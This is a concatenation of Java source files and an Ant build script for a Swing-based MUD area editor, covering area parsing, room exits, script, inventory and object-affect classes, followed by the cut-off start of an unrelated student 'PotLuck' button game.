trimArgument(temp); } bProf = Integer.parseInt(oneArgument(temp)); temp = trimArgument(temp); sProf = Integer.parseInt(oneArgument(temp)); temp = trimArgument(temp); openH = Integer.parseInt(oneArgument(temp)); temp = trimArgument(temp); closeH = Integer.parseInt(oneArgument(temp)); shop = new MudShopData(keeper, data, bProf, sProf, openH, closeH); Mobile sMob = area.getMobile(keeper); sMob.setShop(shop); //System.out.println("inserting shop:"); //System.out.println(shop.toString()); // model.insert(shop); temp = buf2.readLine(); } } catch (Exception e) { System.out.println("...Error."); return; } System.out.println(".....Complete."); } public void readMobProgs() { System.out.print("Reading MProgs."); try { String temp; int v; v = readVnum(buf2); while (v > 0) { temp = readToTilde(buf2); area.insert(new MobileProgram(v, temp)); v = readVnum(buf2); } } catch (Exception e) { System.out.println("...Error"); return; } System.out.println("....Complete."); } public void readHeader() { System.out.print("Reading Header."); try { String temp; int indexa; // File name area.setFileName(inputFile.getName()); area.setPathName(inputFile.getPath()); // Name. temp = buf2.readLine(); indexa = temp.indexOf(' '); temp = temp.substring(indexa + 1); temp = temp.substring(0, temp.length() - 1); area.setAreaName(temp); // Builder temp = buf2.readLine(); indexa = temp.indexOf(' '); temp = temp.substring(indexa + 1, temp.length() - 1); area.setBuilder(temp); // vnums temp = buf2.readLine(); indexa = temp.indexOf(' '); temp = temp.substring(indexa + 1, temp.length()); indexa = temp.indexOf(' '); int low, high; low = Integer.parseInt(temp.substring(0, indexa)); high = Integer.parseInt(temp.substring(indexa + 1, temp.length())); area.setVnumRange(low, high); lowVnum = low; highVnum = high; // credits buf2.readLine(); // Security temp = buf2.readLine(); indexa = temp.indexOf(' '); temp = temp.substring(indexa + 1, temp.length()); area.setSecurity(Integer.parseInt(temp)); // flags - may or may not be there. temp = buf2.readLine(); if (temp.startsWith("Flags")) { indexa = temp.indexOf(' '); temp = temp.substring(indexa + 1, temp.length()); area.setFlags(Integer.parseInt(temp)); // read end thing buf2.readLine(); } } catch (Exception e) { System.out.println("...Error."); return; } System.out.println("....Complete."); } private void inform(String msg) { JOptionPane.showMessageDialog(null, msg, msg, JOptionPane.WARNING_MESSAGE); } }<file_sep>/aeditor_stillrom/src/net/s5games/mafia/ui/EditorView.java package net.s5games.mafia.ui; import net.s5games.mafia.model.DamTypeTable; import net.s5games.mafia.model.Area; import javax.swing.*; import java.awt.*; public abstract class EditorView extends JComponent { protected GridBagConstraints constraint; protected GridBagLayout layout; protected Area data; protected int vnum; // current item being viewed protected DamTypeTable theDamTypes; public EditorView(Area d) { data = d; vnum = -1; layout = new GridBagLayout(); constraint = new GridBagConstraints(); this.setLayout(layout); /* * Load our dam type table, used for objects and mobiles. */ theDamTypes = new DamTypeTable(); theDamTypes.loadDamTypeTable("damtype.txt"); } public void insertAt(int x, int y, int width, int height, Component i) { constraint.gridx = x; constraint.gridy = y; constraint.gridwidth = width; constraint.gridheight = height; layout.setConstraints(i, constraint); this.add(i); } public void insertAt(int x, int y, int width, int height, Component i, boolean fill) { if (fill) constraint.fill = GridBagConstraints.HORIZONTAL; insertAt(x, y, width, height, i); constraint.fill = GridBagConstraints.NONE; } public void insertAt(int x, int y, int width, int height, Component i, boolean fillw, boolean fillh) { if (fillw && !fillh) constraint.fill = GridBagConstraints.HORIZONTAL; if (fillh && !fillw) constraint.fill = GridBagConstraints.VERTICAL; if (fillh && fillw) constraint.fill = GridBagConstraints.BOTH; insertAt(x, y, width, height, i); constraint.fill = GridBagConstraints.NONE; } public void update(int newVnum) { vnum = newVnum; update(); } /* * These private functions are for quick popup windows... */ protected static void inform(String msg) { JOptionPane.showMessageDialog(null, msg, msg, JOptionPane.WARNING_MESSAGE); } protected boolean confirm(String msg) { int ans; ans = JOptionPane.showConfirmDialog(null, msg, "Please Confirm.", JOptionPane.OK_CANCEL_OPTION); return ans == JOptionPane.OK_OPTION; } public abstract void update(); }<file_sep>/aeditor_stillrom/src/net/s5games/mafia/ui/ExitPanel.java // <NAME> // ExitPanel.java // Area Editor Project, Spring 2002 // // This is a special purpose JPanel for use in the GUI of the model editor's // room tab. It listens for the // given buttons and attempts to load the room in that direction(or create) // into the room tab. package net.s5games.mafia.ui; import net.s5games.mafia.ui.SpringUtilities; import net.s5games.mafia.ui.RoomView; import net.s5games.mafia.model.Area; import net.s5games.mafia.model.Room; import net.s5games.mafia.model.MudExit; import javax.swing.*; import javax.swing.border.EmptyBorder; import javax.swing.border.TitledBorder; import java.awt.*; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.net.URL; public class ExitPanel extends JPanel { private ClassLoader loader; private URL[] dirUrls; JButton[] directions; JComboBox[] targets; exitButton[] exits; String[] names = {"North", "Up", "West", "East", "Down", "South"}; String[] icons = {"north2.gif", "east2.gif", "south2.gif", "west2.gif", "up2.gif", "down2.gif"}; String[] exitIcons = {"noexit.gif", "links.gif", "goes.gif"}; RoomView parent; MudExit[] data; int lowVnum, highVnum; Area theArea; int vnum; public ExitPanel(RoomView p, Area it) { super(true); vnum = -1; dirUrls = new URL[6]; loader = ClassLoader.getSystemClassLoader(); parent = p; lowVnum = it.getLowVnum(); highVnum = it.getHighVnum(); theArea = it; data = new MudExit[MudExit.MAX_EXITS]; directions = new JButton[MudExit.MAX_EXITS]; exits = new exitButton[MudExit.MAX_EXITS]; targets = new JComboBox[MudExit.MAX_EXITS]; // Layout setBorder(new TitledBorder("Exit Manager")); setLayout(new SpringLayout()); for (int a = MudExit.DIR_NORTH; a < MudExit.MAX_EXITS; a++) { dirUrls[a] = loader.getResource(icons[a]); ImageIcon tIcon = new ImageIcon(dirUrls[a]); directions[a] = new JButton(tIcon); directions[a].setMargin(new Insets(0, 0, 0, 0)); //directions[a].setMargin(constraint.insets); //directions[a].setPreferredSize(new Dimension(tIcon.getIconWidth(),tIcon.getIconHeight())); targets[a] = theArea.getVnumCombo("room"); TitledBorder bord = new TitledBorder("Connects to:"); bord.setBorder(new EmptyBorder(0, 0, 0, 0)); //bord.setTitleJustification(TitledBorder.RIGHT); bord.setTitlePosition(TitledBorder.ABOVE_TOP); targets[a].setBorder(bord); //targets[a].setPreferredSize(new Dimension(145,47) ); targets[a].setMaximumRowCount(10); exits[a] = new exitButton(this, a, targets[a]); // targets[a].addPopupMenuListener(new myPopupMenuListener() ); } // North add(directions[MudExit.DIR_NORTH]); add(exits[MudExit.DIR_NORTH]); add(targets[MudExit.DIR_NORTH]); // Up add(directions[MudExit.DIR_UP]); add(exits[MudExit.DIR_UP]); add(targets[MudExit.DIR_UP]); // West add(directions[MudExit.DIR_WEST]); add(exits[MudExit.DIR_WEST]); add(targets[MudExit.DIR_WEST]); // East add(directions[MudExit.DIR_EAST]); add(exits[MudExit.DIR_EAST]); add(targets[MudExit.DIR_EAST]); // Down add(directions[MudExit.DIR_DOWN]); add(exits[MudExit.DIR_DOWN]); add(targets[MudExit.DIR_DOWN]); // South add(directions[MudExit.DIR_SOUTH]); add(exits[MudExit.DIR_SOUTH]); add(targets[MudExit.DIR_SOUTH]); SpringUtilities.makeCompactGrid(this, 3, 6, 1, 1, 1, 1); for (int a = MudExit.DIR_NORTH; a < MudExit.MAX_EXITS; a++) { directions[a].addActionListener(new directionListener()); } } public void update() { if (vnum == -1) return; Room temp = theArea.getRoom(vnum); for (int a = 0; a < MudExit.MAX_EXITS; a++) { data[a] = temp.getExit(a); if (data[a] != null) { targets[a].setSelectedItem(theArea.getRoom(data[a].getToVnum())); //targets[a].setPopupVisible(false); /* Check linked room for exit coming back... */ Room t2 = theArea.getRoom(data[a].getToVnum()); int d = MudExit.getReverseExit(a); if (t2.getExit(d) != null && t2.getExit(d).getToVnum() == vnum) exits[a].setState(2); else exits[a].setState(1); } else { targets[a].setSelectedIndex(-1); //targets[a].setPopupVisible(true); exits[a].setState(0); } } } public void setEnabled(boolean value) { for (int a = 0; a < MudExit.MAX_EXITS; a++) { targets[a].setEnabled(value); exits[a].setEnabled(value); directions[a].setEnabled(value); } } public void setVnum(int newVnum) { if (newVnum == vnum) return; else reset(); vnum = newVnum; update(); } public void reset() { vnum = -1; update(); } private void deleteOpposingExit(int d) { if (data[d] == null) return; Room t2 = theArea.getRoom(data[d].getToVnum()); if (t2 == null) return; if (t2.getExit(MudExit.getReverseExit(d)).getToVnum() == vnum) t2.setExit(null, MudExit.getReverseExit(d)); } private void deleteCurrentExit(int d) { Room t2 = theArea.getRoom(vnum); if (t2 == null) return; t2.setExit(null, d); } /* For these two functions you are * inputing what direction in the array * to take the data from.. */ private boolean createCurrentExit(int d) { Room temp; int v; if (targets[d].getSelectedItem() == null) { inform("No target vnum selected!"); return false; } temp = (Room) targets[d].getSelectedItem(); if (temp == null) { System.out.println("!!!Could not create exit!!!"); return false; } MudExit newExit; newExit = new MudExit(temp.getVnum(), theArea.getRoom(vnum)); theArea.getRoom(vnum).setExit(newExit, d); data[d] = newExit; return true; } private boolean createOpposingExit(int d) { Room temp; int dir = MudExit.getReverseExit(d); if (targets[d].getSelectedItem() == null) { inform("No target vnum selected!"); return false; } temp = (Room) targets[d].getSelectedItem(); if (temp == null) { System.out.println("!!!Could not create exit!!!"); return false; } MudExit newExit = new MudExit(vnum, temp); temp.setExit(newExit, dir); return true; } private void resetComboBox(int d) { if (targets[d] == null) return; targets[d].setSelectedIndex(-1); //targets[d].setPopupVisible(true); } class directionListener implements ActionListener { public void actionPerformed(ActionEvent e) { for (int a = 0; a < 6; a++) { if (e.getSource() == directions[a]) parent.moveView(a); } } } private void inform(String msg) { JOptionPane.showMessageDialog(null, msg, "Error:", JOptionPane.WARNING_MESSAGE); } class exitButton extends JButton { String[] icons = {"noexit.gif", "goes.gif", "links.gif"}; ImageIcon[] images; int state; public final int NOEXIT = 0; public final int GOES = 1; public final int LINKS = 2; private ExitPanel parent; private int direction; // the direction this exit represents. private JComboBox target; public exitButton(ExitPanel e, int d, JComboBox t) { super(new ImageIcon(loader.getResource("noexit.gif"))); parent = e; direction = d; target = t; setMargin(new Insets(0, 0, 0, 0)); images = new ImageIcon[3]; images[NOEXIT] = new ImageIcon(loader.getResource(icons[NOEXIT])); images[LINKS] = new ImageIcon(loader.getResource(icons[LINKS])); images[GOES] = new ImageIcon(loader.getResource(icons[GOES])); setState(NOEXIT); this.addActionListener(new exitLinkListener()); } public void setState(int newState) { state = newState; setIcon(images[state]); if (newState == NOEXIT) target.setEnabled(true); else target.setEnabled(false); } public void moveState(int newState) { // process change. // 1. Can't change from no-exit if a vnum is not chosen. // 2. confirm change from or to one-way // 3. change to one-way -> delete other rooms exit // 4. change to two-way -> create other rooms exit // 5. change to no-exit -> delete both exits and unchoose vnum. if (newState == GOES) { if (state == LINKS) // can't happen ? { parent.deleteOpposingExit(direction); } else if (state == NOEXIT) { if (parent.createCurrentExit(direction) == false) return; } else return; target.setEnabled(false); } else if (newState == LINKS) { if (state == GOES) { if (parent.createOpposingExit(direction) == false) return; } else if (state == NOEXIT) // can't happen ? { if (parent.createCurrentExit(direction) == false || parent.createOpposingExit(direction) == false) return; } else return; target.setEnabled(false); } else if (newState == NOEXIT) { parent.deleteOpposingExit(direction); parent.deleteCurrentExit(direction); parent.resetComboBox(direction); target.setEnabled(true); } else // can't happen ? { System.out.println("Major error in ExitPanel.ExitButton.MoveState(int)"); System.exit(0); } state = newState; setIcon(images[state]); parent.update(); } public int getState() { return state; } class exitLinkListener implements ActionListener { public void actionPerformed(ActionEvent e) { if (state == LINKS) moveState(NOEXIT); else moveState(getState() + 1); } } } }<file_sep>/src/net/s5games/mafia/ui/view/scriptView/ScriptView.java package net.s5games.mafia.ui.view.scriptView; import net.s5games.mafia.ui.view.EditorView; import net.s5games.mafia.model.Area; import net.s5games.mafia.model.Room; import net.s5games.mafia.model.MobileProgram; import net.s5games.mafia.beans.scanning.SyntaxHighlighter; import net.s5games.mafia.beans.scanning.Scanner; import net.s5games.mafia.beans.scanning.LuaScanner; import javax.swing.*; import java.awt.*; import java.awt.event.ActionListener; import java.awt.event.ActionEvent; /** * Created by IntelliJ IDEA. * User: Administrator * Date: Feb 21, 2009 * Time: 12:36:01 PM * To change this template use File | Settings | File Templates. */ public class ScriptView extends EditorView { private JComboBox vnumBox; private JButton newButton; private JButton deleteButton; private JButton backButton; private JButton nextButton; private Box buttonPanel; SyntaxHighlighter text; public ScriptView(Area d) { super(d); Scanner scanner = new LuaScanner(); text = new SyntaxHighlighter(24, 80, scanner); JScrollPane scroller = new JScrollPane(text); scroller.setVerticalScrollBarPolicy( JScrollPane.VERTICAL_SCROLLBAR_ALWAYS); createNav(); setLayout(new BorderLayout()); add(buttonPanel, BorderLayout.NORTH); add(scroller, BorderLayout.CENTER); addListeners(); } private void addListeners() { newButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { // Get the lowest available room vnum int vnum = data.getFreeScriptVnum(); if (vnum == -1) { inform("You are out of vnums!"); return; } MobileProgram temp = new MobileProgram(vnum); data.insert(temp); update(vnum); } }); deleteButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { deleteScript(); } }); backButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { if (vnum <= data.getFirstMprogVnum()) return; int temp = vnum - 1; while (data.getScriptByVnum(temp) == null && temp >= data.getFirstMprogVnum()) temp--; if (temp >= data.getFirstMprogVnum()) vnum = temp; update(); } }); nextButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { if (vnum >= data.getHighVnum()) return; int temp = vnum + 1; while (data.getScriptByVnum(temp) == null && temp <= data.getHighVnum()) temp++; if (temp <= data.getHighVnum()) vnum = temp; update(); } }); vnumBox.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { MobileProgram temp = (MobileProgram) vnumBox.getSelectedItem(); if (temp == null) return; vnum = temp.getVnum(); update(); } }); } private void deleteScript() { } private void createNav() { vnumBox = data.getVnumCombo("script"); newButton = new JButton("New"); deleteButton = new JButton("Delete"); backButton = new JButton("Back"); nextButton = new JButton("Next"); buttonPanel = Box.createHorizontalBox(); buttonPanel.add(vnumBox); buttonPanel.add(backButton); buttonPanel.add(nextButton); buttonPanel.add(newButton); buttonPanel.add(deleteButton); } public void update(int newVnum) { vnum = newVnum; update(); } public void update() { if (data.getMprogCount() > 0) { if( vnum <= 0 || data.getScriptByVnum(vnum) == null) { vnum = data.getFirstMprogVnum(); } vnumBox.setSelectedItem(data.getScriptByVnum(vnum)); MobileProgram temp = (MobileProgram) vnumBox.getSelectedItem(); text.setText(temp.getProgram()); } else { text.setText(""); } } } <file_sep>/src/net/s5games/mafia/ui/view/mobView/MobInPanel.java package net.s5games.mafia.ui.view.mobView; import net.s5games.mafia.model.MudConstants; import net.s5games.mafia.ui.view.EditorView; import net.s5games.mafia.model.Area; import net.s5games.mafia.model.Mobile; import net.s5games.mafia.model.MudObject; import net.miginfocom.swing.MigLayout; import javax.swing.*; import javax.swing.border.TitledBorder; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.event.ItemEvent; import java.awt.event.ItemListener; public class MobInPanel extends JPanel { Area area; int vnum; JLabel label1; JList inventoryList; JComboBox availableList; JScrollPane inventoryPane; JButton addButton, removeButton, clearButton; JCheckBox isShop; Mobile mob; EditorView myParent; public MobInPanel(Area data, net.s5games.mafia.ui.view.EditorView editorView) { area = data; vnum = -1; this.setLayout(new MigLayout()); myParent = editorView; isShop = new JCheckBox("ShopKeeper?"); inventoryList = new JList(); inventoryList.setSelectionModel(new ToggleSelectionModel()); availableList = new JComboBox(); availableList.setBorder(new TitledBorder("Object to add")); inventoryPane = new JScrollPane(inventoryList); inventoryPane.setBorder(new TitledBorder("Mobile Inventory")); addButton = new JButton("Add Object"); removeButton = new JButton("Remove Object"); clearButton = new JButton("Clear objects"); JPanel panel1 = new JPanel(); panel1.setLayout(new MigLayout()); panel1.add(availableList, "wrap, growx, span"); panel1.add(addButton); panel1.add(clearButton ); panel1.add(removeButton,"wrap"); panel1.add(isShop, "span"); this.add(inventoryPane); this.add(panel1); isShop.addItemListener(new ItemListener() { public void itemStateChanged(ItemEvent e) { mob = area.getMobile(vnum); if (e.getStateChange() == ItemEvent.DESELECTED) { mob.removeShop(); myParent.update(); } else if (e.getStateChange() == ItemEvent.SELECTED) { if (mob.getShop() == null) mob.addShop(); myParent.update(); } } }); clearButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { mob = area.getMobile(vnum); mob.getInventory().clear(); update(); } }); addButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { mob = area.getMobile(vnum); if (mob == null) { System.out.println("problem" + Integer.toString(vnum)); return; } MudObject myObj = (MudObject) availableList.getSelectedItem(); if (myObj == null) { System.out.println("problem 2"); return; } mob.giveToMobile(myObj); update(vnum); } }); // get highlighted item from Jlist, if non highlighted, do nothing, // else remove from mobile inventory and update jlist. removeButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { MudObject myObj = (MudObject) inventoryList.getSelectedValue(); if (myObj == null) return; mob.takeFromMobile(myObj); update(vnum); } }); } private void update() { if (area.getObjectCount() > 0) setEnabled(true); else setEnabled(false); inventoryList.validate(); availableList.validate(); validate(); repaint(); } public void update(int v) { vnum = v; if (vnum == -1) { update(); return; } mob = area.getMobile(vnum); if (mob == null) { System.out.println("Bad mob in inventory panel"); return; } inventoryList.setListData(mob.getInventory().toArray(new MudObject[mob.getInventory().size()])); populate(); if (mob.getShop() != null) isShop.setSelected(true); update(); } private void populate() { MudObject temp; int wear = 0; availableList.removeAllItems(); for (int loop = area.getLowVnum(); loop <= area.getHighVnum(); loop++) { temp = area.getObject(loop); if (temp == null) continue; wear = temp.getWearFlags(); // unchoosable if no take flag. if ((wear & MudConstants.ITEM_TAKE) != MudConstants.ITEM_TAKE) continue; availableList.addItem(temp); } } public void setEnabled(boolean enable) { addButton.setEnabled(enable); removeButton.setEnabled(enable); clearButton.setEnabled(enable); availableList.setEnabled(enable); inventoryList.setEnabled(enable); if (vnum == -1 || area.getMobCount() == 0) return; mob = area.getMobile(vnum); if (mob == null) { System.out.println("Bad mob in inventory panel"); return; } if (mob.getInventory().size() == 0) { clearButton.setEnabled(false); removeButton.setEnabled(false); inventoryList.removeAll(); // insurance. } if (inventoryList.getSelectedValue() == null) { removeButton.setEnabled(false); } } class ToggleSelectionModel extends DefaultListSelectionModel { boolean gestureStarted = false; public ToggleSelectionModel() { setSelectionMode(SINGLE_SELECTION); } public void setSelectionInterval(int index0, int index1) { // int oldIndex = getMinSelectionIndex(); if (isSelectedIndex(index0) && !gestureStarted) super.removeSelectionInterval(index0, index1); else super.setSelectionInterval(index0, index1); gestureStarted = true; //int newIndex = getMinSelectionIndex(); // if (oldIndex != newIndex) update(); } public void setValueIsAdjusting(boolean isAdjusting) { if (!isAdjusting) gestureStarted = false; } } }<file_sep>/build.xml <?xml version="1.0" encoding="UTF-8"?> <project name="Mafia" default="main build" basedir="."> <property name="src" value="src"/> <property name="lib" value="lib"/> <property name="data" value="data"/> <property name="image" value="image"/> <property name="build" value="build"/> <property name="jarfile" value="mafia.jar"/> <taskdef name="one-jar" classname="com.simontuffs.onejar.ant.OneJarTask" classpath="${lib}/one-jar-ant-task-0.96.jar" onerror="report"/> <!-- Set up java.class.path --> <path id="project.class.path"> <fileset dir="./${lib}"> <include name="**/*.jar"/> </fileset> <pathelement path="${java.class.path}"/> </path> <target name="main build"> <antcall target="jar"/> </target> <target name="clean"> <delete dir="${build}"/> <delete file="${jarfile}"/> </target> <target name="prepare" depends="clean"> <mkdir dir="${build}"/> </target> <target name="compile" depends="prepare"> <javac srcdir="${src}" destdir="${build}" classpathref="project.class.path" source="1.7"/> <copydir src="${data}" dest="${build}"/> <copydir src="${image}" dest="${build}"/> </target> <target name="jar" depends="compile"> <one-jar destfile="${jarfile}" manifest="mafia.mf" > <main> <!-- Construct main.jar from classes and source code --> <fileset dir="${build}"> <!--<exclude name="${data}/**.*"/>--> <!--<exclude name="${image}/**.*"/>--> </fileset> </main> <lib> <fileset file="lib/miglayout-3.6.2-swing.jar"/> <fileset file="lib/javax.json-api-1.0.jar"/> <fileset file="lib/javax.json-1.0.4.jar"/> </lib> <fileset dir="${data}"/> <fileset dir="${image}"/> </one-jar> </target> </project> <file_sep>/src/net/s5games/mafia/ui/view/mobView/ArmorForm.java package net.s5games.mafia.ui.view.mobView; import net.s5games.mafia.beans.Armor; /** * Created by IntelliJ IDEA. * User: tenchi * Date: Jul 8, 2008 * Time: 8:45:26 PM * To change this template use File | Settings | File Templates. */ public interface ArmorForm { public void setArmor(Armor type, int value); } <file_sep>/src/net/s5games/mafia/model/ObjectAffect.java package net.s5games.mafia.model; public class ObjectAffect { private int value; private int type; /* * affect types */ public final static int APPLY_NONE = 0; public final static int APPLY_STR = 1; public final static int APPLY_DEX = 2; public final static int APPLY_INT = 3; public final static int APPLY_WIS = 4; public final static int APPLY_CON = 5; public final static int APPLY_SEX = 6; public final static int APPLY_CLASS = 7; public final static int APPLY_LEVEL = 8; public final static int APPLY_AGE = 9; public final static int APPLY_HEIGHT = 10; public final static int APPLY_WEIGHT = 11; public final static int APPLY_MANA = 12; public final static int APPLY_HIT = 13; public final static int APPLY_MOVE = 14; public final static int APPLY_GOLD = 15; public final static int APPLY_EXP = 16; public final static int APPLY_AC = 17; public final static int APPLY_HITROLL = 18; public final static int APPLY_DAMROLL = 19; public final static int APPLY_SAVES = 20; public final static int APPLY_SAVING_PARA = 21; public final static int APPLY_SAVING_ROD = 22; public final static int APPLY_SAVING_PETRI = 23; public final static int APPLY_SAVING_BREATH = 24; public final static int APPLY_SAVING_SPELL = 25; public final static int NUM_APPLIES = 26; public final static String[] affectNames = {"Strength", "Dexterity", "Intelligence", "Wisdom", "Constitution", "Mana", "Hit", "Move", "AC", "Hitroll", "Damroll", "Saves"}; public final static int[] affectFlags = {APPLY_STR, APPLY_DEX, APPLY_INT, APPLY_WIS, APPLY_CON, APPLY_MANA, APPLY_HIT, APPLY_MOVE, APPLY_AC, APPLY_HITROLL, APPLY_DAMROLL, APPLY_SAVES}; public final static int NUM_OBJ_AFFS = 12; public ObjectAffect(int nType) { type = nType; } public ObjectAffect(int nType, int nValue) { type = nType; value = nValue; } public void setType(int nType) { type = nType; } public void setValue(int nValue) { value = nValue; } public int getType() { return type; } public int getValue() { return value; } public String toString() { return stringLookup(type) + " " + signLookup(value) + value + ""; } public String fileString() { return "A\n" + type + " " + value + "\n"; } public int intLookup(String t) { return 0; } public String signLookup(int value) { if (value >= 0) return "+"; return ""; } public final static int flagToIndex(int i) { for (int a = 0; a < NUM_OBJ_AFFS; a++) { if (affectFlags[a] == i) return a; } return 0; } public String stringLookup(int t) { switch (t) { case APPLY_NONE: { return "none"; } case APPLY_STR: { return "Strength"; } case APPLY_DEX: { return "Dexterity"; } case APPLY_INT: { return "Intelligence"; } case APPLY_WIS: { return "Wisdom"; } case APPLY_CON: { return "Constitution"; } case APPLY_SEX: { return "Sex"; } case APPLY_CLASS: { return "Class"; } case APPLY_LEVEL: { return "Level"; } case APPLY_AGE: { return "Age"; } case APPLY_HEIGHT: { return "Height"; } case APPLY_WEIGHT: { return "Weight"; } case APPLY_MANA: { return "Mana"; } case APPLY_HIT: { return "Hit Points"; } case APPLY_MOVE: { return "Movement"; } case APPLY_GOLD: { return "Gold/Yen"; } case APPLY_EXP: { return "Experience"; } case APPLY_AC: { return "Armor Class"; } case APPLY_HITROLL: { return "Hitroll"; } case APPLY_DAMROLL: { return "Damroll"; } case APPLY_SAVES: { return "Saves"; } case APPLY_SAVING_PARA: { return "Saves-Para"; } case APPLY_SAVING_ROD: { return "Saves-Rod"; } case APPLY_SAVING_PETRI: { return "Saves-Petrify"; } case APPLY_SAVING_BREATH: { return "Saves-Breath"; } case APPLY_SAVING_SPELL: { return "Saves-Spell"; } default: { return "none"; } } } }<file_sep>/aeditor_stillrom/src/net/s5games/mafia/ui/RoomInPanel.java package net.s5games.mafia.ui; import net.s5games.mafia.model.Area; import net.s5games.mafia.model.Mobile; import net.s5games.mafia.model.MudObject; import net.s5games.mafia.model.Room; import javax.swing.*; import javax.swing.border.TitledBorder; import java.awt.*; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; /* * <NAME> */ public class RoomInPanel extends JPanel { Area area; int vnum; JLabel label1; JList myObjects; JList myMobiles; JComboBox mobList; JComboBox objList; JScrollPane mobPane, objPane; JButton addObjButton, removeObjButton; JButton addMobButton, removeMobButton; Room room; protected GridBagConstraints constraint; protected GridBagLayout layout; public RoomInPanel(int vnum, Area data) { area = data; this.vnum = vnum; constraint = new GridBagConstraints(); layout = new GridBagLayout(); this.setLayout(layout); room = data.getRoom(vnum); myObjects = new JList(room.getObjects().toArray(new MudObject[room.getObjects().size()])); myMobiles = new JList(room.getMobiles().toArray(new Mobile[room.getMobiles().size()])); objList = area.getVnumCombo("object"); objList.setBorder(new TitledBorder("Object to add")); mobList = area.getVnumCombo("mob"); mobList.setBorder(new TitledBorder("Mobile to add")); mobPane = new JScrollPane(myMobiles); mobPane.setBorder(new TitledBorder("Mobiles in room")); objPane = new JScrollPane(myObjects); objPane.setBorder(new TitledBorder("Objects in room")); addObjButton = new JButton("Add Object"); removeObjButton = new JButton("Remove Object"); addMobButton = new JButton("Add Mobile"); removeMobButton = new JButton("Remove Mobile"); JPanel panel1 = new JPanel(); panel1.setLayout(new GridLayout(1, 2)); panel1.add(addObjButton); panel1.add(removeObjButton); JPanel panel2 = new JPanel(); panel2.setLayout(new GridLayout(1, 2)); panel2.add(addMobButton); panel2.add(removeMobButton); if (room == null) { System.out.println("Bad room in reset menu!"); } label1 = new JLabel("Setting Inventory of room " + room.toString()); constraint.gridx = 0; constraint.gridy = 0; constraint.gridwidth = 2; constraint.fill = GridBagConstraints.BOTH; layout.setConstraints(label1, constraint); this.add(label1); constraint.gridx = 0; constraint.gridy = 1; constraint.gridwidth = 1; layout.setConstraints(mobPane, constraint); this.add(mobPane); constraint.gridx = 1; constraint.gridy = 1; constraint.gridwidth = 1; layout.setConstraints(objPane, constraint); this.add(objPane); constraint.gridx = 0; constraint.gridy = 2; layout.setConstraints(mobList, constraint); this.add(mobList); constraint.gridx = 1; constraint.gridy = 2; layout.setConstraints(objList, constraint); this.add(objList); constraint.gridx = 0; constraint.gridy = 3; layout.setConstraints(panel2, constraint); this.add(panel2); constraint.gridx = 1; constraint.gridy = 3; layout.setConstraints(panel1, constraint); this.add(panel1); addObjButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { MudObject myObj = (MudObject) objList.getSelectedItem(); room.addObject(myObj); myObjects.setListData(room.getObjects().toArray(new MudObject[room.getObjects().size()])); } }); removeObjButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { MudObject myObj = (MudObject) myObjects.getSelectedValue(); if (myObj == null) return; room.removeObject(myObj); myObjects.setListData(room.getObjects().toArray(new MudObject[room.getObjects().size()])); } }); addMobButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { Mobile myMob = (Mobile) mobList.getSelectedItem(); room.addMobile(myMob); myMobiles.setListData(room.getMobiles().toArray(new Mobile[room.getMobiles().size()])); } }); removeMobButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { Mobile myMob = (Mobile) myMobiles.getSelectedValue(); if (myMob == null) return; room.removeMobile(myMob); myMobiles.setListData(room.getMobiles().toArray(new Mobile[room.getMobiles().size()])); } }); } }
46e92272cdc5d74832397170a07976c4e2da6713
[ "Markdown", "Java", "Ant Build System" ]
26
Java
georgefrick/mafia
62b8837a7f2aba24f7a9eb39a17c421bcc2d9844
f180b57f925e3dd2be64e33de1804ceb470f7d24
refs/heads/master
<file_sep>/** * Lab04a Instructions found on moodle * * Style guidlines URL:- * http://www.cs.bilkent.edu.tr/~adayanik/cs101/practicalwork/styleguidelines.htm * * * @author <NAME> * @version 09/07/2021 */ import javax.swing.*; import java.awt.*; import java.awt.event.*; public class PotLuck extends JFrame implements ActionListener { private final int WIDTH = 800; private final int HEIGHT = 800; private final String[] numbers = {"1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12","13", "14","15", "16"}; //Variables private GridLayout numPad; private Bomb bombButton_1; private JLabel Label; private boolean endGame = false; private int win ; private int bomb_1 ; private int bomb_2 ; private Bomb bombbutton_2; private Prize Star; private JPanel panel; private int counter ; private JButton[] buttons = new JButton[numbers.length]; /** * Constructor for PotLuck Class * */ public PotLuck() { //While loop used to assign random values to the special buttons while ( win == bomb_1 || win == bomb_2 || bomb_1 == bomb_2){ win = (int) (Math.random() * 16); bomb_1 = (int) (Math.random() * 16); bomb_2 = (int) (Math.random() * 16); } counter = 0; //frame settings setSize(WIDTH, HEIGHT); setTitle("Welcome to PotLuck/Are ya winning son"); setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); //Intializing JPanel panel = new JPanel(); numPad = new GridLayout(5, 5); numPad.setHgap(15); numPad.setVgap(15); panel.setLayout(numPad); //for loop to create the buttons for (int x = 0; x < buttons.length; x++) { //if button is a bomb if (x == bomb_1 ) { bombButton_1 = new Bomb(numbers[x]); bombButton_1.setBackground(Color.BLUE); bombButton_1.addActionListener(this); panel.add(bombButton_1); } //if button is a bomb else if (x == bomb_2) { bombbutton_2 = new Bomb(numbers[x]); bombbutton_2.setBackground(Color.BLUE); bombbutton_2.addActionListener(this); panel.add(bombbutton_2); } //if button is a star else if (x == win ) { Star = new Prize(numbers[x]); Star.setBackground(Color.BLUE); Star.addActionListener(this); panel.add(Star); } //if button is a number else{ buttons[x] = new JButton(numbers[x]); buttons[x].setBackground(Color.BLUE); buttons[x].addActionListener(this); panel.add(buttons[x]); } } //setting up the frame add(panel, BorderLayout.CENTER); add(Label = new JLabel("You have clicked the buttons " + counter + " times, Please stop spamming."), BorderLayout.NORTH); Icon imgIcon = new 